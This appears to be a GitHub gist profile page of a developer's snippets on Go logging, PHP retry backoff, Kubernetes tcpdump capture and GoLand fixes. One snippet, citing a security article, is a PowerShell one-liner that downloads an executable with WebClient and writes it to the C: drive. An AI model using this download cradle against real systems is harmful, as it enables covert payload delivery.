Skip to content

Instantly share code, notes, and snippets.

View ushell's full-sized avatar
🎯
Focusing 🚣🏻‍♀️

ushell

🎯
Focusing 🚣🏻‍♀️
View GitHub Profile
@ushell
ushell / hook.go
Created November 13, 2019 10:04
logrus example
package main
import (
"github.com/satori/go.uuid"
"github.com/sirupsen/logrus"
)
type HookLog struct {
TraceId string
}
@ushell
ushell / package.go
Created April 12, 2021 11:22
golang import's package information
package main
import (
"runtime/debug"
"log"
)
func main() {
// 遍历导入包版本
build, ok := debug.ReadBuildInfo()
@ushell
ushell / try.php
Created June 11, 2021 03:47
指数退避算法-重试场景
<?php
$count = 0;
$worker = function (&$count) {
if ($count < 2) {
$count += 1;
return false;
}
return true;
@ushell
ushell / k8s-tcpdump-capture.sh
Last active July 22, 2021 03:29
k8s环境使用tcpdump抓取业务流量
#!/bin/sh
program='static-tcpdump'
lockfile='/tmp/tcpdump.lock'
capture() {
if [ !isrun ];then
echo "tcpdump start running"
/tmp/$program -i any -w auto.pcap &
echo "running" > $lockfile
@ushell
ushell / goland_fix_wrong_plugins.txt
Last active August 30, 2021 10:23
修复goland异常插件引起的启动异常
# Goland start error with wrong installed plugins
# https://intellij-support.jetbrains.com/hc/en-us/articles/206544519
cd ~/Library/Application Support/JetBrains/GoLand2020.3/plugins
rm -rf your_last_install_plugin
#
restart goland
# https://xz.aliyun.com/t/1649/
powershell (new-object System.Net.WebClient).DownloadFile('http://127.0.0.1/qq.exe','c:\qq.exe');
@ushell
ushell / go_fmt_string_recursion_error.go
Created September 16, 2021 07:54
golang fmt.Sprintf使用%v参数转换结构体导致递归异常
// https://pkg.go.dev/fmt
// 5. If an operand implements method String() string, that method will be invoked to convert the object to a string, which will then be formatted as required by the verb (if any).
// For compound operands such as slices and structs, the format applies to the elements of each operand, recursively, not to the operand as a whole. Thus %q will quote each element of a slice of strings, and %6.2f will control formatting for each element of a floating-point array.
// However, when printing a byte slice with a string-like verb (%s %q %x %X), it is treated identically to a string, as a single item.
// To avoid recursion in cases such as
// type X string
// func (x X) String() string { return Sprintf("<%s>", x) }
// convert the value before recurring:
package main
import (
"bytes"
"crypto/aes"
"encoding/base64"
"errors"
)
type Aes struct{}
package main
import (
"embed"
"fmt"
"io/fs"
"log"
"net/http"
"os"
)
@ushell
ushell / unzip-extract-utf8-file.sh
Created April 10, 2022 10:43
unzip extract utf8 files
# debian
# verison: 6.0
# `-a`
$unzip -a demo.zip